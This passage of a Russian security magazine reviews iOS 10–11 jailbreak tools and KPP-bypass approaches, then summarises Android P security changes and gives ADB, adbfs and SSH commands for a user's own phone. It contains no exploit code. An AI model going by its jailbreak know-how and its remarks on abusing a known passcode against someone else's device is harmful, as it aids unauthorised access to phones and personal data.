момент? Их доволь но мно го,  но полез ных из  них — счи таные еди ницы. Вот
что мы отоб рали:

 (iOS 10.0–10.3.3, 32‐bit);• h3lix
 (iOS 10.0–10.3.3, 64‐bit);• Meridian

 (iOS 10.3.x, 64‐bit, A7–A9 only);• g0blin
 (iOS 11.0–11.1.2);• LiberIOS

 (iOS 11.0–11.1.2).• Electra

h3lix: iOS 10 для 32-раз рядных устрой ств

h3lix  —  типич ный  пред ста витель  нового  поколе ния  джей лбрей ков.  Он  под‐ 
держи вает  все  32‐бит ные  устрой ства,  работа ющие  под  управле нием  всех
вер сий iOS 10. Сюда вхо дят iPhone 5, 5c, а так же 32‐бит ные iPad и iPod Touch.
Раз работ чики  вклю чили  в  сос тав  джей лбрей ка  Cydia,  так  что  труд ностей
с  уста нов кой  непод писан ных  при ложе ний  не  воз ника ет.  Осо бых  проб лем
с этим джей лбрей ком мы не обна ружи ли, поэто му можем рекомен довать его
для любых 32‐раз рядных устрой ств на всех вер сиях iOS 10.

Meridian: iOS 10 для 64-бит ных устрой ств

Джей лбрейк  Meridian  поможет  взло мать  64‐раз рядные  устрой ства  (iPhone
5s —  iPhone X, а так же план шеты  iPad соот ветс тву ющих поколе ний), работа‐ 
ющие на любой вер сии iOS. В нашем тес тирова нии дан ный джей лбрейк ока‐ 
зал ся исклю читель но кап ризным, так что, если твой телефон работа ет на iOS
10.2.1 или более ста рой, луч ше исполь зуй Yalu или Saigon. Cydia есть в ком‐ 
плек те; для того что бы магазин при ложе ний зарабо тал, не забудь нажать ex‐
tract dpkg сра зу пос ле джей лбрей ка.

g0blin: iOS 10.3.x, 64-бит, толь ко для устрой ств на A7–A9

Особ няком  в  теп лой  ком пании  джей лбрей ков  сто ит  ути лита  g0blin,  которая
может  взло мать  огра ничен ное  чис ло  ком бинаций  устрой ств  и  вер сий  iOS.
В  час тнос ти,  под держи вают ся  модели  от  iPhone  5s  до  iPhone  7/Plus  вклю‐ 
читель но,  а  так же  план шеты  iPad,  уком плек тован ные  про цес сорами поколе‐ 
ний  A7,  A8  и  A9.  Огра ниче ны  и  под держи ваемые  вер сии  iOS:  джей лбрейк
работа ет толь ко на iOS 10.3–10.3.3.

Для  чего  нужен  такой  узкоспе циали зиро ван ный  джей лбрейк,  если  есть
h3lix?  G0blin  работа ет  чуть  более  ста биль но,  он  луч ше  сов местим  с  теми
устрой ства ми и вер сиями iOS, которые в нем под держи вают ся. В пер вую вер‐ 
сию (RC1) джей лбрей ка вхо дят сер вис SSH (dropbear); во вто рую (RC2) SSH
не вклю чен, и OpenSSH нуж но уста нав ливать отдель но из Cydia.

iOS 11.0–11.2: LiberIOS и Electra

Для  iOS 11 сущес тву ет по край ней мере два готовых джей лбрей ка: LiberIOS
и  Electra. Оба  джей лбрей ка  исполь зуют  один  и  тот  же  код,  одна ко  под ходы
раз работ чиков отли чают ся.

Так,  раз работ чик  LiberIOS  край не  негатив но  отно сит ся  к  Cydia.  Cydia
не  вклю чена  (и  не  будет  вклю чена)  в  сос тав  ути литы,  и  исполь зовать  джей‐ 
лбрейк мож но раз ве что в чис то иссле дова тель ских целях.

А вот раз работ чик Electra вклю чил в сос тав джей лбрей ка как сер вис SSH,
так и магазин при ложе ний Cydia. Имен но этот джей лбрейк мы рекомен дуем
к исполь зованию.

Осо бен ности джей лбрей ка iOS 11
В  ути литах  для  взло ма  iOS  11  при меня ется  новый  под ход,  наз ванный  KPP‐
less.  KPP  (Kernel  Patch  Protection) — механизм  про вер ки  целос тнос ти  ядра,
впер вые  исполь зован ный  Apple  в  iOS  9.  Этот  механизм  про веря ет  целос‐ 
тность  ядра сис темы  как  в  про цес се  заг рузки,  так и  во  вре мя работы. Осо‐ 
бен ность  механиз ма  KPP  в  том,  что  оче ред ная  про вер ка  может  быть  про‐ 
веде на  в  слу чай ный  момент  вре мени.  Если  ты  взло маешь  устрой ство,
а  фоновая  служ ба  KPP  обна ружит  изме нения  в  ядре  сис темы  —  телефон
прос то  перезаг рузит ся.  KPP  был  раз работан  Apple  в  пер вую  оче редь
для  защиты  от  джей лбрей ка,  но  и  про тив  злов редно го  кода  он  тоже  может
помочь (по край ней мере в теории).

В  клас сичес ких  джей лбрей ках  механизм  KPP  ста рались  отклю чить.  Этот
под ход наз вали KPP bypass; имен но он исполь зует ся в джей лбрей ках Pangu
и Yalu.

В  джей лбрей ках  iOS  11,  осно ван ных  на  новой  уяз вимос ти,  раз работ чики
решили  обой ти  KPP  дру гим  спо собом.  Теперь  вмес то  того,  что бы модифи‐ 
циро вать  ядро,  джей лбрейк  модифи циру ет  дру гие  час ти  сис темы  —  те,
которые  не  про веря ются  механиз мом  KPP.  Да,  нич то  не  меша ет  Apple
добавить про вер ку и этих областей фай ловой сис темы в оче ред ном обновле‐ 
нии iOS — но ведь речь идет о «здесь и сей час»!

Ка кие недос татки у нового спо соба? Он тре бует серь езной передел ки Cy‐
dia  Substrate,  который  полага ется  на  отсутс твие  про верок  KPP.  На  сегод‐ 
няшний  день  единс твен ный  джей лбрейк,  реали зовав ший  под дер жку  Cydia
на iOS 11, — Electra.

Ес ли тебя заин тересо вал механизм KPP и спо собы, которы ми его обхо дят
раз работ чики ути лит для джей лбрей ка, — тебе сюда: 

.
How Kernel Patch Protec‐

tion Works and How Hackers Bypass KPP

ВОЗМОЖНОСТЬ ОТКАТА
Имей  в  виду:  уста нов ка  джей лбрей ка  в  сис тему  может  ока зать ся  необ‐ 
ратимой. Это не  зна чит,  что  ты не  смо жешь  вос ста новить  устрой ство  через
iTunes  или  сбро сить  его  к  завод ским  нас трой кам.  Впро чем,  поп робу ем
разоб рать ся, что про изой дет в том и дру гом слу чае.

До пус тим,  ты  уста новил  джей лбрейк  на  телефон  с  iOS  11.1.2.  Через
какое‐то вре мя накопив шиеся в резуль тате экспе римен тов ошиб ки при вели
к проб лемам, меша ющим поль зовать ся устрой ством. Какие у тебя есть вари‐ 
анты?

Во‐пер вых,  ты можешь поп робовать  сбро сить  телефон  к  завод ским нас‐ 
трой кам. Твои дан ные будут уда лены, но сле ды джей лбрей ка (а воз можно —
и  некото рых  тви ков)  все  рав но  могут  остать ся  в  сис теме,  при водя  к  даль‐ 
нейшей  нес табиль нос ти  ее  работы  и  делая  невоз можной  кор рек тную  уста‐ 
нов ку  ОТА‐обновле ний.  Таким  обра зом,  сброс  к  завод ским  нас трой кам
может помочь, но не ког да накопи лись серь езные проб лемы.

Для устрой ств Apple всег да мож но исполь зовать вос ста нов ление устрой‐ 
ства через iTunes. В этом слу чае ска чает ся пос ледняя вер сия iOS в виде пол‐ 
ной про шив ки, которая и будет уста нов лена в телефон.

А  если  ты  не  собира ешь ся  уста нав ливать  пос леднюю  вер сию  iOS,
для которой может и не сущес тво вать джей лбрей ка? Если ты хочешь остать ся
на той самой вер сии, на которую ты ста вил джейл?

Пе ред  тем  как  обсуждать  воз можные  вари анты,  вкрат це  напом ним,
как  работа ет  обновле ние  (или  пере уста нов ка)  iOS.  Для  того  что бы  iPhone
смог  уста новить  про шив ку,  ему  пот ребу ется  свя зать ся  с  сер вером  Apple
и  получить  циф ровую  под пись. Эта  циф ровая  под пись  будет  дей стви тель на
толь ко для кон крет ного экзем пля ра устрой ства и толь ко для кон крет ной вер‐ 
сии iOS.

Как видишь, здесь все кар ты в руках у Apple. Если сер вер ком пании отка‐ 
жет ся  под писывать  ту  или  иную  вер сию  про шив ки,  уста новить  ее  в  свой
телефон или план шет  ты не смо жешь. Если  говорить об  iOS 11, Apple дав но
прек ратила  под писывать  пос леднюю  вер сию  11.1.2,  для  которой  работа ет
джей лбрейк. Таким обра зом, при помощи штат ных средств ты смо жешь вос‐ 
ста новить телефон толь ко на текущую (иног да и пред послед нюю) вер сию iOS,
которую Apple под писыва ет в нас тоящий момент.

Ес ли  бы  Apple  сей час  под писыва ла  iOS  11.1.2,  то  ты  смог  бы  сох ранить
бло бы SHSH2 по   или одной из мно гочис ленных подоб ных
инс трук ций. Исполь зуя бло бы SHSH2, ты смог бы в любой момент в будущем
вос ста новить свой iPhone на эту вер сию сис темы. Увы, но сох ранение бло бов
воз можно лишь в момент, ког да Apple еще под писыва ет нуж ную вер сию iOS.

инс трук ции с 4PDA

И  тем  не  менее,  выход  есть!  Вмес то  бло бов  SHSH2  ты  можешь  поп‐ 
робовать сох ранить снап шот кор невой фай ловой сис темы APFS сра зу пос ле
джей лбрей ка.  В  слу чае  с  джей лом  Electra  нуж ный  снап шот  кор невой  фай‐ 
ловой сис темы соз дает ся в про цес се взло ма устрой ства. Вос ста новив образ
APFS пос ле джей лбрей ка, ты смо жешь отка тить ся к заведо мо работос пособ‐ 
ной копии сис темы.

Как имен но это дела ется, что за «образ APFS» и где он соз дает ся?
Поль зовате ли,  нез накомые  с  осо бен ностя ми  реали зации фай ловой  сис‐ 

темы Apple (APFS), полага ют, что снап шот — это что‐то вро де фай ла, который
сох раня ется в каком‐то катало ге. Это не так. Бли жай шей ана логи ей снап шоту
APFS  явля ется  «образ  вос ста нов ления»  Windows,  най ти  который  мож но
в панели «Защита сис темы».

Вот  как  работа ет  Electra  в  сво ей  релиз ной  вер сии  (   непос‐ 
редс твен но от Coolstar, раз работ чика джей лбрей ка Electra):

ин форма ция

1. Пе ред тем как взло мать устрой ство, Electra про верит сос тояние фай ловой
сис темы  устрой ства  (если  был  уста нов лен  дру гой  джей лбрейк  или  мно‐ 
жес тво тви ков, про вер ка не будет прой дена).

2. Ес ли фай ловая сис тема ока жет ся в «дос таточ но чис том» сос тоянии (джей‐ 
лбрейк  уста нав лива ется  на  чис тую  сис тему,  или  была  уста нов лена  одна
из пред варитель ных сбо рок Electra — без тви ков, модифи циру ющих сис‐ 
темный раз дел), будет соз дан снап шот кор невой фай ловой сис темы APFS.

3. Ес ли  же  был  уста нов лен  дру гой  джей лбрейк  или  обна руже ны  дру гие
потен циаль но опас ные модифи кации фай ловой сис темы, Electra зап росит
под твержде ние на про дол жение про цеду ры взло ма.

От лично,  снап шот  соз дан!  А  как  вос ста новить  чис тую  ОС  из  это го  обра за,
а  заод но  уда лить  «хвос ты»,  оставши еся  от  джей лбрей ка?  На  этом  мес те  я
вынуж ден при тор мозить: нуж ный инс тру мент (его наз вание — SemiRestore11)
пока не готов, но Coolstar обе щает выпус тить его в бли жай шее вре мя.

В будущем  ты  смо жешь  вос поль зовать ся  этой  ути литой,  но  с  одной ого‐ 
вор кой: вос ста нов лен будет снап шот по сос тоянию на момент «сра зу пос ле
взло ма», то есть модифи кации фай ловой сис темы, сде лан ные во вре мя уста‐ 
нов ки джей лбрей ка, не будут вос ста нов лены.

Что бы пол ностью уда лить сле ды джей лбрей ка, тебе нуж но будет сбро сить
устрой ство к завод ским нас трой кам (Reset → Erase all Contents and Settings).
При сбро се будут уда лены все дан ные из  , и ты получишь чис тую вер сию
сис темы (iOS 11.0–11.1.2).

/var

На дан ный момент нуж но прос то ждать. Поль зовать ся ста рыми вер сиями
SemiRestore или неиз вес тно какими ути лита ми, най ден ными неиз вес тно где,
катего ричес ки не рекомен дует ся.

Чем это может гро зить
На личие  уяз вимос ти,  поз воля ющей  получить  пра ва  супер поль зовате ля,  —
это серь езно. Но так ли страш на дан ная уяз вимость в iOS для обыч ного поль‐ 
зовате ля?

Да вай пос мотрим. Для  того  что бы вос поль зовать ся  уяз вимостью и взло‐ 
мать устрой ство, нуж но при ложить соз натель ные уси лия, про делать ряд нет‐ 
риви аль ных телод вижений и вооб ще — раз бло киро вать телефон и уста новить
доверен ное  соеди нение  с  компь юте ром.  Для  уста нов ления  доверен ного
соеди нения  в  iOS  11  пот ребу ется  не  толь ко  раз бло киро вать  телефон,  но  и
ввес ти пароль бло киров ки. А если известен пароль бло киров ки, то безо вся‐ 
ких  уяз вимос тей  мож но  соз дать  резер вную  копию  телефо на  (вклю чая  все
пароли из бра узе ра — нап ример, пароли от соци аль ных сетей  туда, ско рее
все го,  попадут);  если  же  резер вная  копия  была  защище на  паролем,  то  его
мож но  сбро сить  бук валь но  в  пару  кли ков.  При  помощи  пароля  бло киров ки
мож но сбро сить или изме нить пароль от  iCloud,  заб локиро вать или  уда лить
дан ные  со  всех  устрой ств,  зарегис три рован ных  в  той  же  учет ной  записи
Apple;  наконец,  мож но  лег ко  отвя зать  телефон  от  iCloud,  не  зная  пароля
от Apple ID. Все это мы уже опи сыва ли в статье «

».

Что мож но сде лать с iPhone,
зная  пас скод.  Как  сли вают  дан ные,  уво дят  iCloud  и  бло киру ют  осталь ные
устрой ства

Так какую допол нитель ную опас ность пред став ляет собой най ден ная уяз‐ 
вимость?  Если  говорить  об  обыч ном  поль зовате ле,  то,  пожалуй,  никакой.
Более того: обыч ный поль зователь, ско рее все го, никог да с ней не стол кнет‐ 
ся:  все  при ложе ния  в  App  Store  модери руют ся,  и  прог рамму,  экс плу ати‐ 
рующую дан ную уяз вимость, туда не про пус тят.

Джей лбрей ком  может  вос поль зовать ся  полиция  для  того,  что бы  извлечь
допол нитель ную  информа цию  из  устрой ства  (физичес кое  извле чение  дан‐ 
ных,  к  при меру,  при  помощи  Elcomsoft  iOS  Forensic  Toolkit).  Про делать
это можешь и ты, но есть ли в этом смысл? Если срав нивать с тем, что мож но
извлечь из обыч ной резер вной копии (с паролем), то физичес кое извле чение
дан ных даст дос туп к ска чан ным сооб щени ям элек трон ной поч ты, сис темным
логам  и  под робной  исто рии  мес тополо жения  устрой ства.  Мож но  получить
дос туп к песоч ницам при ложе ний — нап ример, про ана лизи ровать перепис ку
в Telegram, WhatsApp или Facebook Messenger. Мож но прос мотреть вре мен‐ 
ные  фай лы  бра узе ра.  Для  полиции,  безус ловно,  полез ная  информа ция,
но нуж но ли это тебе? Если учесть, что полез ных тви ков для iOS 11 прак тичес‐ 
ки нет (а полез ность ста рых в новой вер сии ОС под боль шим воп росом), то
джей лбрейк  iOS  11  ста новит ся  уде лом  энту зиас тов‐раз работ чиков,  спе‐ 
циалис тов по безопас ности и полиции.

WWW

Ес ли  тебя  заин тересо вала  тема  джей лбрей ков
све жих  вер сий  iOS  —  доб ро  пожало вать  на  сле‐ 
дующие ресур сы:
• .
Здесь  под робно  разоб раны  осо бен ности
реали зации пос ледних KPP‐less джей лбрей ков;
обсужда ются  проб лемы  Cydia  Substrate
и незави симо го решения Substitute.

Jailbreak  update:  a  summary  of  current  tools

• .  В  этой
статье опи саны осо бен ности кон крет ного джей‐ 
лбрей ка  —  Electra,  инте рес ного  целым  рядом
осо бен ностей  (KPP‐less,  под дер жка  Cydia,
снап шот APFS).

Electra  jailbreak  for  iOS  11.0–11.1.2

ЗАКЛЮЧЕНИЕ
Мы  рас смот рели  ряд  ути лит  для  джей лбрей ка  смар тфо нов  и  план шетов,
работа ющих  под  управле нием  iOS  10  и  11  (до  вер сии  11.1.2).  Исто рия  их
появ ления  вызыва ет  про тиво речи вые  чувс тва.  Пра виль но  ли  пос тупа ет
Google, пуб ликуя информа цию об уяз вимос тях и вык ладывая, по сути, готовый
код  для  взло ма  устрой ств?  У  меня  не  сло жилось  окон чатель ного  мне ния
по это му поводу.

mailto:aoleg@voicecallcentral.com
https://xakep.ru/2017/12/12/apple-jailbreak-exploit/
https://ppq.apple.com/
https://support.apple.com/ru-ru/HT204460
https://h3lix.tihmstar.net/
https://meridian.sparkes.zone/
https://g0blin.sticktron.net/
http://newosxbook.com/liberios/
https://coolstar.org/electra/
https://yalujailbreak.net/kernel-patch-protection/
https://4pda.ru/forum/index.php?showtopic=791325
https://www.reddit.com/r/jailbreak/comments/80fi41/news_if_youve_made_modifications_to_system_files/
https://xakep.ru/2017/11/23/ios-passcode/
http://www.idownloadblog.com/2018/02/01/jailbreak-update-current-tools-summary/
http://www.idownloadblog.com/2018/02/27/electra-ios-11-jailbreak-official-release/
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ПРИВАТНОСТЬ

Вось мого  мар та  Google  пред ста вила  пред варитель ный
выпуск  Android  P,  который  поч ти  со  стоп роцен тной  веро‐ 
ятностью  вско ре  сме нит  имя  на  Android  9.  В  новой  вер сии
в  оче ред ной  раз  изме нил ся  интерфейс,  появи лись  новые
фун кции панели  уве дом лений,  под дер жка HDR, двух  камер,
но  наше  вни мание,  как  всег да,  прив лека ет  неч то  гораз до
более инте рес ное: безопас ность и новые механиз мы огра‐ 
ниче ний.

ЗАПРЕТ НА ФОНОВОЕ ИСПОЛЬЗОВАНИЕ КАМЕРЫ И МИКРОФОНА
Об  одном  из  самых  замет ных  security‐нов шеств  Android  ста ло  извес тно
еще до выхода превью Android P, писали о нем и мы. Это, конеч но же, зап рет
на  исполь зование  камеры,  мик рофона  и  любых  сен соров  при ложе ниями,
которые находят ся в сос тоянии Idle, то есть свер нуты и работа ют в фоне. Так
что раз ного рода мал варь, которая любит сни мать и слу шать про исхо дящее
вок руг, теперь дол жна отва лить ся.

Но  есть  один  нюанс:  как  быть  с  соф том,  пред назна чен ным  для  поис ка
смар тфо на?  Есть  мно жес тво  при ложе ний,  поз воля ющих  уда лен но  сни мать
и прос лушивать про исхо дящее, что бы быс трее най ти свой укра ден ный смар‐ 
тфон.

Для  это го Google  в  оче ред ной раз  пред лага ет  исполь зовать  так  называ‐ 
емый foreground service. Это спе циаль ный тип фоновой служ бы, которая име‐ 
ет уве дом ление в панели уве дом лений, а потому замет на поль зовате лю. Ник‐ 
то не меша ет  тому же поль зовате лю скрыть это уве дом ление стан дар тны ми
средс тва ми.

ЗАПРЕТ НА CLEARTEXT HTTP
Вто рое важ ное новов ведение Android P — пол ный зап рет на исполь зование
HTTP  без  TLS  (то  есть  без  шиф рования)  для  всех  при ложе ний,  соб ранных
для новой вер сии Android. Дру гими сло вами, если в   при ложе ния
ука зан   боль ше 27, то при ложе ние не смо жет под клю чать‐ 
ся к хос там по HTTP.

build.prop
targetSdkVersion

Это огра ниче ние тем не менее мож но обой ти, если ука зать в 
  ( )  спи сок  раз‐ 

решен ных доменов:

фай ле нас‐ 
тро ек  безопас ности  сети network_security_config.xml

<domain‐config cleartextTrafficPermitted="false">
   <domain includeSubdomains="true">secure.example.com</domain>
</domain‐config>

ШИФРОВАНИЕ РЕЗЕРВНЫХ КОПИЙ
По ка эта фун кция еще не акти виро вана, но в сле дующих выпус ках Android P
мож но будет ука зать пароль, без которо го невоз можно вос ста новить резер‐ 
вные копии нас тро ек при ложе ний, авто мати чес ки отправ ляемых в Google Dri‐
ve. Это в том чис ле озна чает, что даже у Google не будет дос тупа к тво им дан‐ 
ным. Apple,  кста ти,  всег да име ла дос туп  к резер вным  копи ям и отда вала их
влас тям по пер вому же зап росу.

ДИАЛОГИ ПОДТВЕРЖДЕНИЯ С ЗАЩИТОЙ ОТ MITM
Еще одно инте рес ное новов ведение Android P — дос тупный сто рон ним раз‐ 
работ чикам  «защищен ный»  диалог  под твержде ния  ( ).  Он
поз воля ет  удос товерить ся,  что  поль зователь  дей стви тель но  уви дел  текст
диало га и сог ласил ся с ним, даже в том слу чае, если смар тфон поль зовате ля
был взло ман и мал варь получи ла кон троль над ядром и фрей мвор ком.

ConfirmationDialog

Ес ли  поль зователь  положи тель но  отве чает  на  сооб щение  диало га,  при‐ 
ложе ние  получа ет  крип тогра фичес кую  под пись,  защищен ную  кодом  аутен‐ 
тифика ции  сооб щения  с  клю чом‐хешем  (HMAC).  Под пись  соз дает ся
доверен ной  сре дой  исполне ния  (TEE),  которая  защища ет  диало говое  окно
и  ответ  поль зовате ля.  Под пись  озна чает,  что  поль зователь  дей стви тель но
уви дел сооб щение и сог ласил ся с ним.

ЗАПРЕТ НА ИСПОЛЬЗОВАНИЕ СКРЫТЫХ API
В Android есть ряд скры тых, недос тупных обыч ным при ложе ниям API. Мы уже

  о  них  и  про демонс три рова ли,  как  получить  дос туп  к  этим  API
с помощью реф лексии. Так же пос тупа ют и дру гие раз работ чики при ложе ний,
а  это  при водит  к  уяз вимос тям  и  нес табиль нос тям  в  работе  при ложе ний
(скры тые API могут менять ся и исче зать от вер сии к вер сии).

рас ска зыва ли

В Android P дос туп к скры тым API зап рещен. Более того, новая вер сия An‐
droid выводит уве дом ление в  том слу чае, если при ложе ние исполь зует объ‐ 
явленные  уста рев шими  (deprecated)  API.  Это  дол жно  зас тавить  раз работ‐ 
чиков перей ти на исполь зование новых API.

КРИПТОГРАФИЧЕСКИЙ МОДУЛЬ STRONGBOX
Не кото рые  из  устрой ств,  осна щен ных  Android  P,  могут  иметь  встро енный
крип тогра фичес кий модуль StrongBox, работа ющий в коопе рации с модулем
TEE (Trusted Execution Environment, нап ример, TrustZone в про цес сорах Qual‐
comm).  По  сути,  этот  модуль  —  реали зован ный  в  железе  Keymaster  HAL
(Hardware  Abstraction  Layer),  который  в  текущих  вер сиях  ОС  пред став ляет
собой биб лиоте ку, реали зован ную про изво дите лем устрой ства или чип сета.

Как про исхо дит работа с Keymaster

РЕАЛИЗАЦИЯ OMAPI API
Android  P  под держи вает    (OMAPI  API),  пред‐ 
назна чен ный  для  дос тупа  к  защищен ным  эле мен там  (Secure  Elements,  SE),
спе циаль ным  мик рочипам,  которые  обыч но  уста нав лива ются  в  SIM‐кар ты,
бан ков ские  кар ты,  кар ты  опла ты  про езда  и  смар тфо ны  с  под дер жкой  бес‐ 
контак тных пла тежей.

GlobalPlatform  Open  Mobile  API

Secure Element — отдель ный мик ропро цес сор с собс твен ной памятью. Он
отве чает  за  безопас ное  хра нение  и  выпол нение  пла теж ных  при ложе ний.
В смар тфо нах с под дер жкой NFC SecureElement обыч но впа ян в материн скую
пла ту, но так же может находить ся SIM‐кар те или даже в кар те памяти.

Одной стро кой
На чиная  с  Android  P  при ложе ния  боль ше  не  смо гут  про читать  серий ный
номер  устрой ства  через  перемен ную  .  Она  всег да  будет
рав на  UNKNOWN.  Для  получе ния  серий ного  номера  теперь  нуж но  пол‐ 
номочие READ_PHONE_STATE.

•
Build.SERIAL

По яви лась  натив ная  под дер жка  высокоп роиз водитель ного  поточ ного
шиф ра ChaCha20, который в том чис ле исполь зует ся в бра узе ре Chrome
при соеди нении с сай тами Google, в ядре Linux для генера ции слу чай ных
чисел и в некото рых сис темах потоко вого вещания.

•

Пра вила  SELinux  теперь  зап реща ют  при ложе ниям  делить ся  дан ными
с  дру гими  при ложе ниями  путем  выс тавле ния  откры тых  прав  дос тупа
на фай лы.

•

В  сле дующих  выпус ках  Android  P  пла ниру ется  вклю чить  под дер жку  ран‐ 
домиза ции  MAC‐адре сов  при  ска ниро вании  Wi‐Fi‐сетей.  Это  поз волит
бороть ся с отсле жива нием поль зовате лей (в  iOS такая фун кция встро ена
еще с вер сии 8).

•

mailto:zobnin@glc.ru
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ТРЮКИ

Android и дис три бути вы Linux не прос то родс твен ные ОС —
они  осно ваны  на  одном  ядре  и  на  низ ком  уров не  очень
похожи. В Android работа ет боль шинс тво команд Linux, сюда
мож но  уста новить  bash,  писать  скрип ты  и  даже  запус кать
сер веры.  Уста новив  на  смар тфон  SSH,  ты  можешь  ходить
на него с ком па и даже исполь зовать rsync для син хро низа‐ 
ции фай лов. Обо всем этом мы и погово рим сегод ня.

ADB
Нач нем  с  излюблен ного  инс тру мен та  всех  прод винутых  поль зовате лей  An‐
droid — ADB. Мы уже мно го раз писали о нем, одна ко здесь прос то обя заны
пов торить ся.  Итак,  ADB  рас шифро выва ется  как  Android  Debug  Bridge,  и  по
сути  это  неч то  вро де  сис темы  управле ния  смар тфо ном  с  ком па.  ADB  поз‐ 
воля ет уста нав ливать и запус кать софт, переме щать фай лы с устрой ства и на
устрой ство и выпол нять мно гие дру гие задачи.

Что бы  нас тро ить  ADB  в  Windows,  приш лось  бы  уста нав ливать  драй веры
и перезаг ружать машину,  в Linux он прос то работа ет. Дос таточ но акти виро‐ 
вать ADB на смар тфо не (Нас трой ки → Для раз работ чиков → Отладка по USB)
и уста новить пакет с ути литой   в сис тему:adb

// Ubuntu/Debian/Mint
$ sudo apt‐get install adb
// Arch Linux
$ sudo pacman ‐S android‐tools android‐udev

Да лее необ ходимо под клю чить смар тфон к ком пу и начать отда вать коман ды.
По луче ние спис ка под клю чен ных устрой ств:

$ adb devices

Ус танов ка на под клю чен ное устрой ство APK:

$ adb install file.apk

Пе реме щение фай ла на устрой ство:

$ adb push файл /sdcard/

Ска чива ние фай ла с устрой ства:

$ adb pull /sdcard/DCIM/Camera/photo.jpg photo.jpg

Сде лать скрин шот и ска чать его на комп:

$ adb shell screencap /sdcard/screenshot.png
$ adb pull /sdcard/screenshot.png
$ adb shell rm /sdcard/screenshot.png

На жатие кноп ки Power:

$ adb shell input keyevent 26

Ну  и  конеч но же,  ADB мож но  исполь зовать  для  получе ния  дос тупа  к  коман‐ 
дной стро ке смар тфо на:

$ adb shell

Важ но  отме тить,  что  ADB  может  работать  не  толь ко  по  USB,  но  и  по Wi‐Fi,
одна ко  для  это го  нуж ны  пра ва  root  на  устрой стве  и  при ложе ние  .
Запус каем при ложе ние, вклю чаем перек лючатель и под соеди няем ся к смар‐ 
тфо ну с помощью   и показан ного при ложе нием IP‐адре са:

WiFi  ADB

adb connect

$ adb connect IP‐адрес

WARNING

В  некото рых  дис три бути вах  ADB  может
не работать без прав  root.  Так про исхо дит из‐за
отсутс твия  спе циаль ных  пра вил  Udev  в  дис три‐ 
бути ве.  При дет ся  либо  уста нав ливать  их
как отдель ный пакет (  в Arch Lin‐
ux), либо нас тра ивать Udev самос тоятель но.

android‐udev

ADB-SYNC
ADB мож но исполь зовать и для син хро низа ции фай лов меж ду устрой ства ми
(для это го даже есть опция  ), одна ко удоб нее вос поль зовать ся скрип том

. Его дос таточ но ска чать и запус тить. Нап ример, так мож но син хро‐ 
низи ровать музыку на устрой стве и на ПК:

sync
adb‐sync

$ adb‐sync ~/Music/ /sdcard/Music

А так выпол нить ту же син хро низа цию, но с уда лени ем фай лов, которые были
уда лены на ПК:

$ adb‐sync ‐‐delete ~/Music/ /sdcard/Music

Прос той спо соб ска чать фай лы на комп (обратная син хро низа ция):

$ adb‐sync ‐‐reverse /sdcard/Download/ ~/Downloads

ADBFS
Еще  один  инте рес ный  спо соб  получить  дос туп  к  фай лам  на  устрой стве
с помощью ADB — исполь зовать  , псев доФС, которая поз воля ет смон‐ 
тировать устрой ство так, буд то это флеш ка или любой дру гой накопи тель.

adbfs

Про ще все го уста новить adbfs в Arch Linux. Здесь она есть в AUR, поэто му
дос таточ но выпол нить одну коман ду:

$ yaourt ‐S adbfs‐rootless‐git

В Ubuntu и дру гих сис темах adbfs при дет ся собирать вруч ную:

$ sudo apt‐get install libfuse‐dev android‐tools‐adb
$ git clone git://github.com/spion/adbfs‐rootless.git
$ cd adbfs‐rootless 
$ make

Ну а даль ше мож но под клю чать фай ловую сис тему:

$ mkdir ~/Android
$ adbfs ~/Android

Для отклю чения:

$ fusermount ‐u ~/Android

GO-MTPFS
Еще  один  вари ант  под клю чения  устрой ства  как  фай ловой  сис темы  — 

,  фай ловая  сис тема,  поз воля ющая  переда вать  дан ные  по  про токо лу
MTP. Имен но этот про токол исполь зует ся в смар тфо нах без кар ты памяти.

go‐
mtpfs

В Arch Linux уста новить go‐mtpfs очень прос то:

$ yaourt ‐S go‐mtpfs

В дру гих дис три бути вах нес коль ко слож нее:

$ sudo apt‐get install golang‐go libusb1‐devel
$ mkdir /tmp/go
$ export GOPATH=/tmp/go
$ go get github.com/hanwen/go‐mtpfs
$ go install github.com/hanwen/go‐mtpfs

Даль ше все так же эле мен тарно, как с adbfs:

$ mkdir ~/Android
$ go‐mtpfs ~/Android

Для отклю чения:

$ fusermount ‐u ~/Android

SSH
Идея исполь зовать ADB для обще ния с устрой ством может показать ся стран‐ 
ной,  если  учи тывать,  что для Android  сущес тву ет  сра зу  нес коль ко раз личных
SSH‐сер веров,  не  тре бующих  пра ва  root.  Так  оно и  есть,  во мно гих  слу чаях
SSH будет удоб нее и эффектив нее. В качес тве реали зации сер вера советую
выб рать  ,  прос тую  бес плат ную  обер тку  для  про верен ного  вре‐ 
менем  SSH‐сер вера  DropBear  для  встра иваемых  сис тем.  Если  у  тебя  есть
root, то рекомен дую так же уста новить  , набор ути лит коман‐ 
дной стро ки, наибо лее близ кий к дис три бути вам Linux.

SimpleSSHD

BusyBox On Rails

Ис поль зовать SimpleSSHD очень прос то. Запус каешь,  нажима ешь START
и под клю чаешь ся к ука зан ному IP‐адре су (порт 2222):

$ ssh 192.168.31.236 ‐p 2222

В  момент  под клю чения  на  экра не  появит ся  одно разо вый  пароль,  который
сле дует  ука зать  в  кли енте.  Это  не  очень  удоб ный  спо соб  аутен тифика ции,
но  ты  можешь  нас тро ить  аутен тифика цию  по  клю чам.  Прос то  пере име нуй
свой  откры тый  ключ  ( )  в    и  положи
в каталог ssh на кар те памяти смар тфо на.

~/.ssh/id_rsa.pub authorized_keys

SimpleSSHD

BASH, TMUX, MC
SSH‐сер вер  на  смар тфо не  сам  по  себе  откры вает  широкие  воз можнос ти,
но еще шире их мож но сде лать, если уста новить на смар тфон клас сичес кие
инс тру мен ты,  такие  как  bash,  tmux  и  mc.  Пос ледний  поз волит  в  том  чис ле
с удобс твом ходить по кар те памяти и приб рать ся в слу чае необ ходимос ти.

О  том,  как  уста новить на смар тфон bash,  tmux, mc и nano,  я  уже рас ска‐ 
зывал в  , но поз волю себе пов торить ся.
И сра зу пре дуп режу, что тебе пот ребу ются пра ва root на смар тфо не.

статье про сер вер на базе смар тфо на

Итак,  ска чива ем  ,  пере име новы ваем  пакет  APK  в  ZIP,  рас‐ 
паковы ваем, находим файл  , пере име новы‐ 
ваем,  уби рая  рас ширение mp3,  и  рас паковы ваем.  Внут ри  будет  мно жес тво
катало гов и фай лов, из которых нас инте ресу ют толь ко   и 

. Пер вый содер жит нуж ные нам ути литы; ско пируй те, что тебе
при годят ся, в отдель ный каталог. Вто рой необ ходим для кор рек тно го фун кци‐ 
они рова ния ути лит.

Terminal  IDE
